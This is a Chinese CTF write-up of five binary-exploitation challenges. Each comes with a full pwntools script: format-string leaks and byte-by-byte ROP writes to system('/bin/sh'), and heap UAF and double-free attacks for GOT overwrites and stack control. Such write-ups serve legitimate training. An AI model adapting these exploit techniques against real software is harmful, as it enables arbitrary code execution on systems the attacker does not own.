一个国外小比赛,还好能下载附件。
Baby Formatter
一连3道格式化字符串,但都不难
有两个菜单,一个是泄露栈地址和libc,另一个是格式化字符串但过滤掉了pudx,好在还有大量可用的符号。比如li 以长整型的方式输出。
程序没有直接执行到ret的功能,但在14d3可以跳到,在写完rop后,写vuln返回地址尾字节跳过来。
from pwn import *libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./challenge')
context(arch='amd64', log_level='debug')p = process('./challenge')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
v = p.recvline().split(b' ')
stack = int(v[0], 16) + 0x38
libc.address = int(v[1], 16) - libc.sym['fgets']fmt(b'%13$li')
elf.address = int(p.recvline()) - 0x14d1print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)#gdb.attach(p, "b*0x5555555554d3\nc")
#2, vuln_ret -> 14d1->14d3
pay = f"%{0xd3}c%8$hhn".ljust(16).encode()+p64(stack -0x20)
fmt(pay)p.interactive()
Master Formatter
与上题基本一致,但是只泄露libc地址,不过虽然v5有检查但并没有写v5的值,所以还能不限次写。
from pwn import *libc = ELF('./libc.so.6')
elf = ELF('./chall')
context(arch='amd64', log_level='debug')p = process('./chall')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']fmt(b'%13$li %12$li')
elf.address = int(p.recvuntil(b' ')) - 0x1561
stack = int(p.recvline()) + 8print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)gdb.attach(p, "b*0x555555555406\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xae}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)p.interactive()
Master Formatter v2
又进行了升级,这次检查过滤升级了,几乎禁用了所有的符号,除了o以外,所以可以用8进制泄露地址。另外v5的限制也生效了,只能写两次。
char *__fastcall filter(const char *a1)
{char *result; // raxif ( strchr(a1, 'p')|| strchr(a1, 'u')|| strchr(a1, 'd')|| strchr(a1, 'x')|| strchr(a1, 'f')|| strchr(a1, 'i')|| strchr(a1, 'e')|| strchr(a1, 'g')|| strchr(a1, 'a')|| strchr(a1, 'U')|| strchr(a1, 'U')|| strchr(a1, 'D')|| strchr(a1, 'X')|| strchr(a1, 'F')|| strchr(a1, 'I')|| strchr(a1, 'E')|| strchr(a1, 'G')|| (result = strchr(a1, 'A')) != 0LL ){puts("Cant leak anything");exit(1);}return result;
}
v5 = 0;while ( 1 ){menu(*(_QWORD *)&argc, argv, envp);argv = (const char **)&v4;*(_QWORD *)&argc = "%d%*c";__isoc99_scanf("%d%*c", &v4);if ( v4 == 4 )return 0;if ( v4 > 4 )goto LABEL_14;switch ( v4 ){case 3:duplicate();break;case 1:hint();break;case 2:if ( v5 > 1 ){*(_QWORD *)&argc = "Ran out";puts("Ran out");}else{vuln();++v5;}break;default:
LABEL_14:*(_QWORD *)&argc = "Invalid input";puts("Invalid input");break;}}
先通过lo泄露地址,然后将v5改为负值进行无限次写,然后用前边的方法写rop然后跳过来。
from pwn import *libc = ELF('./libc.so.6') #2.38
elf = ELF('./chall')
context(arch='amd64', log_level='debug')p = process('./chall')def show():p.sendlineafter(b">> ", b'1')def fmt(pay):p.sendlineafter(b">> ", b'2')p.sendlineafter(b">> ", pay)show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
pop_rdx = libc.address + 0x0000000000093359 # pop rdx ; pop rbx ; ret
pop_rsi = libc.address + 0x000000000002a671 # pop rsi ; ret
pop_rax = libc.address + 0x0000000000046663 # pop rax ; retfmt(b'%13$lo %12$lo')
elf.address = int(p.recvuntil(b' '),8) - 0x16c5
stack = int(p.recvline(),8) + 8print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")#v5+3 = 0x88
fmt(b"%186c%8$hhn".ljust(0x10)+p64(stack - 0x10 -1))
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):if v==0:pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)else:pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)fmt(pay)gdb.attach(p, "b*0x5555555555b9\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xe8}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)p.interactive()
Konsolidator
这是个堆题,libc用的是2.31,pie没开,free有UAF
v3 = time(0LL);srand(v3);for ( i = 0LL; i < rand() % 10; ++i ){v4 = rand();malloc(v4 % 512);}while ( 1 ){menu();__isoc99_scanf("%d%*c", &v6);switch ( v6 ){case 1:add((__int64)ptr, (__int64)size);break;case 2:if ( v7 ){puts("You can do it only once");}else{v7 = 1;change_size(ptr, size); // 修改chunk大小,同时修改数组和头}break;case 3:delete(ptr, size); // UAFbreak;case 4:edit(ptr, size);break;case 5:puts("Bye");exit(code);default:puts("Invalid choice");break;}}
一般说对于有UAF并且PIE没开,got无保护的题,只需要把块建到got表就可以任意搞了
不过这里由于没有show,需要改个东西但是在got.free前边在plt的一个指针。它不像got表可以随意写,写完后会重新装填,所以不能写最方便的got.free,退而求其次写malloc,malloc改为puts后一参的size可以作为指针传进去,不过只能传整型,所以这里只能写程序加载地址。最后利用exit(code)后门,修改got.exit为system在code写一个指向bin/sh的指针(也是程序内的)
from pwn import *context(arch='amd64',log_level = "debug")elf = ELF("./chall")
libc = ELF("./libc-2.31.so")# p = remote("120.24.69.11", 12700)
p = process("./chall")def add(idx, size):p.sendlineafter(b">> ", b"1")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Size\n>> ", str(size).encode())def edit_size(idx, size):p.sendlineafter(b">> ", b"2")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Size\n>> ", str(size).encode())#UAF
def free(idx):p.sendlineafter(b">> ", b"3")p.sendlineafter(b"Index\n>> ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b"4")p.sendlineafter(b"Index\n>> ", str(idx).encode())p.sendlineafter(b"Data\n>> ", msg)pop_rdi = 0x4018c3
ret = pop_rdi+1#got.free->puts
add(0, 0x430)
add(1, 0x100)
add(2, 0x100)
free(0)
free(1)
free(2)
edit(2, p64(0x403560))
add(2, 0x100)
add(3, 0x100)#gdb.attach(p, "b*0x401846\nc")
'''
0x403500: 0x00007ffff7df8f90 0x0000000000000000
0x403510: 0x0000000000403330 0x00007ffff7ffe190
0x403520: 0x00007ffff7fe7af0 0x0000000000401030(free)
0x403530 <puts@got.plt>: 0x00007ffff7e59420 0x0000000000401050
0x403540 <printf@got.plt>: 0x00007ffff7e36c90 0x00007ffff7e1c5c0
0x403550 <fgets@got.plt>: 0x0000000000401080 0x00007ffff7fcd930
0x403560 <malloc@got.plt>: 0x00007ffff7e6f0e0 0x00007ffff7e59ce0
0x403570 <__isoc99_scanf@got.plt>: 0x00007ffff7e380b0 0x00000000004010d0
0x403580 <rand@got.plt>: 0x00007ffff7e1cd10 0x0000000000000000
'''
#由于在free前边有plt的中转指令,所以通过修改malloc实现泄露
#malloc后边的setvuf, scanf后边的exit暂时用不到
edit(3, flat(0x401060)) #malloc -> printf
add(4, 0x403530) #printf(got.puts)libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")edit(3, flat([libc.sym['malloc'], 0, libc.sym['scanf'], libc.sym['system'], 0,0,0,0,libc.sym['_IO_2_1_stdout_'],0,libc.sym['_IO_2_1_stdin_'],0,libc.sym['_IO_2_1_stderr_'],0,0x4035d8, b'/bin/sh\x00' #code->/bin/sh])) #exit -> system code = /bin/shp.sendlineafter(b">> ", b"5")p.interactive()
Pizzeria
这个libc是2.35不过有uaf只是这个uaf不让直接写只能show。由于2.35在释放tcache时有秤星检查,所以造double free需要在fastbin里进行。
先建大点的块释放超过7个会得到unsort
再建小块释放7个后再来释放aba得到环,将块建到environ得到栈地址
同上的方法,将块建到栈,但由于2.35需要块尾对齐无法控制到ret,所以将指针建到指针区前,再通过控制指针写ret
from pwn import *libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')p = process('./chal')item = ["Tomato","Onion","Capsicum","Corn","Mushroom","Pineapple","Olives","Double Cheese","Paneer","Chicken"]
def add(idx, size): #size*8p.sendlineafter(b"Enter your choice : ", b'1')p.sendlineafter(b"Which topping ?\n", item[idx].encode())p.sendlineafter(b"How much ?\n", str(size).encode())def edit(idx, msg):p.sendlineafter(b"Enter your choice : ", b'2')p.sendlineafter(b"Which one to customize ?\n", item[idx].encode())p.sendafter(b"Enter new modified topping : ", msg)def free(idx):p.sendlineafter(b"Enter your choice : ", b'3')p.sendlineafter(b"Which topping to remove ?\n", item[idx].encode())def show(idx):p.sendlineafter(b"Enter your choice : ", b'4')p.sendlineafter(b"Which topping to verify ?\n", item[idx].encode())def getptr(v):v1 = (v>>36)&0xfffv2 = ((v>>24)^v1)&0xfffv3 = ((v>>12)^v2)&0xfffv4 = ((v)^v3)&0xfffreturn (v1<<36)|(v2<<24)|(v3<<12)|v4#填充满tcache后得到unsort,泄露libc
for i in range(10):add(i,31)
for i in range(8):free(i)show(0)
heap = (u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12)
print(f"{heap =:x}")
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) + 0x67c0 - libc.sym['__malloc_hook']
print(f"{heap = :x} {libc.address = :x}")for i in range(8):add(i,31)#填充满tcache后在fastbin doublefree得到环将块建到environ 得到栈地址
for i in range(10):add(i,13)
for i in [0,1,2,3,4,5,6,7,8,7]:free(i)
for i in [6,5,4,3,2,1,0]:add(i, 13)add(0,13)
edit(0, b'A'*8)
show(0)
p.recvuntil(b'A'*8)
key = p.recv(8)
print('key=',key.hex())edit(0, p64(libc.sym['_environ']^(heap>>12))+key)
add(1, 13)
add(1, 13)
add(1, 13) #_environ
show(1)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x220 #edit_ret
print(f"{stack = :x}")#同上得到环,将块建到栈内控制指针区
for i in range(10):add(i,8)
for i in [0,1,2,3,4,5,6,7,8,7]:free(i)
for i in [6,5,4,3,2,1,0]:add(i, 8)add(0,8)edit(0, p64((stack+0x18)^((heap>>12)+1))+key)
add(1, 8)
add(1, 8)
add(1, 8) #size[]pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']#gdb.attach(p, "b*0x555555555aba\nc")
edit(1, p32(100)*12 + flat(stack)) #ptr[0]->edit_ret
edit(0, flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()